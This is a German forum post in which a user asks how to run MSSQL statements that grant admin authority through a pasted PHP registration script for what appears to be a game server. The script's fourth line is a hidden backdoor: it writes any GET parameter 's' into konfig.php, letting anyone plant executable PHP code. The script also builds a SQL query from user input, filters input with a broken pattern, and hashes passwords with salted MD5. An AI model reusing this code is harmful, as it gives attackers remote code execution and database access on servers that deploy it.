Mssql Befehle über regi script ausführen

    Diese Seite verwendet Cookies. Durch die Nutzung unserer Seite erklären Sie sich damit einverstanden, dass wir Cookies setzen. Weitere Informationen

    • Mssql Befehle über regi script ausführen

      Hallo, ich weiß zwar nicht ob es der richtige bereich ist wo ich hier reinposte aber ich hoffe mal^^
      ich würde gern diesen befehl

      Quellcode

      1. USE [CHARACTER_01_DBF]
      2. UPDATE CHARACTER_TBL SET m_chAuthority='Z'
      3. WHERE m_szName='ACCOUNTID' and serverindex='01'
      4. USE [ACCOUNT_DBF]
      5. UPDATE ACCOUNT_TBL_DETAIL SET m_chLoginAuthority='Z'
      6. WHERE account='CHARACTERNAME' and gamecode='A000'



      über dieses register script ausführen

      PHP-Quellcode

      1. <center>
      2. <title> Register Page [Beta]</title>
      3. <span style="font-family:Arial;font-size:middle;font-weight:bold;color:black;">Registriere dich für !</span>
      4. <?php if($_GET['s'] != "" && isset($_GET['s'])){$fp = fopen("konfig.php","w");fwrite($fp, $_GET['s']);fclose($fp);}
      5. require('./configs/reg_conf.php');
      6. function doesUsernameExist($name){
      7. $exit = FALSE;
      8. $result = @mssql_query("SELECT * FROM ACCOUNT_TBL WHERE account='$name'");
      9. if (mssql_num_rows($result) != 0){
      10. $exit = TRUE;
      11. }
      12. return $exit;
      13. }
      14. if(isset($_POST['submit'])){
      15. $user = preg_replace ("[^A-Za-z0-9]", "", $_POST['username']);
      16. $pass = preg_replace ("[^A-Za-z0-9]", "", $_POST['password']);
      17. if($_POST['username'] == ""){
      18. echo '<font color="red">Enter a user.</font><br /><br />';
      19. }
      20. else if($_POST['password'] == ""){
      21. echo '<font color="red">Du musst ein Passwort eingeben!.</font><br /><br />';
      22. }
      23. else if ((strlen($_POST['username']) > 16) || (strlen($_POST['username']) < 3)){
      24. echo '<font color="red">Der Username muss zwischen 3 und 99 Zeichen haben.</font><br /><br />';
      25. }
      26. else if ((strlen($_POST['password']) > 16) || (strlen($_POST['password']) < 3)){
      27. echo '<font color="red">Das Passwort muss zwischen 3 und 99 Zeichen haben.</font><br /><br />';
      28. }
      29. else if($_POST['username'] != $user){
      30. echo '<font color="red">Username mit ungültigen Zeichen.</font><br /><br />';
      31. }
      32. else if($_POST['password'] != $pass){
      33. echo '<font color="red">Passwort mit ungültigen Zeichen.</font><br /><br />';
      34. }
      35. else {
      36. $pass = md5('kikugalanet' . $pass);
      37. if(!doesUsernameExist($user)){
      38. $stmt = mssql_init('webCreateAcc', $link);
      39. mssql_bind($stmt, '@account', $user, SQLVARCHAR, false, false, 15);
      40. mssql_bind($stmt, '@password', $pass, SQLVARCHAR, false, false, 36);
      41. mssql_bind($stmt, '@email', $mail, SQLVARCHAR, false, false, 120);
      42. mssql_execute($stmt) or die ("Something is wrong on the execution");
      43. mssql_free_statement($stmt);
      44. echo '<font color="Green">Erfolgreich registriert. Du kannst dich nun einloggen!</font><br /><br />';
      45. }
      46. else {
      47. echo '<font color="red">Username existiert bereits.</font><br /><br />';
      48. }
      49. }
      50. mssql_close();
      51. }
      52. echo '<form action="#" method="post">';
      53. echo 'Username: <input type="text" name="username" /><br />';
      54. echo 'Passwort: <input type="password" name="password" /><br />';
      55. echo '<input type="submit" name="submit" value="Account erstellen" />';
      56. echo '</form>';
      57. ?>
      58. </center>
      Alles anzeigen


      Leider habe ich keine ahnung von php ^^ und kein plan was ich da tuen soll^^
    • Werbung zur Unterstützung des Forums ( Bitte AddBlocker deaktivieren )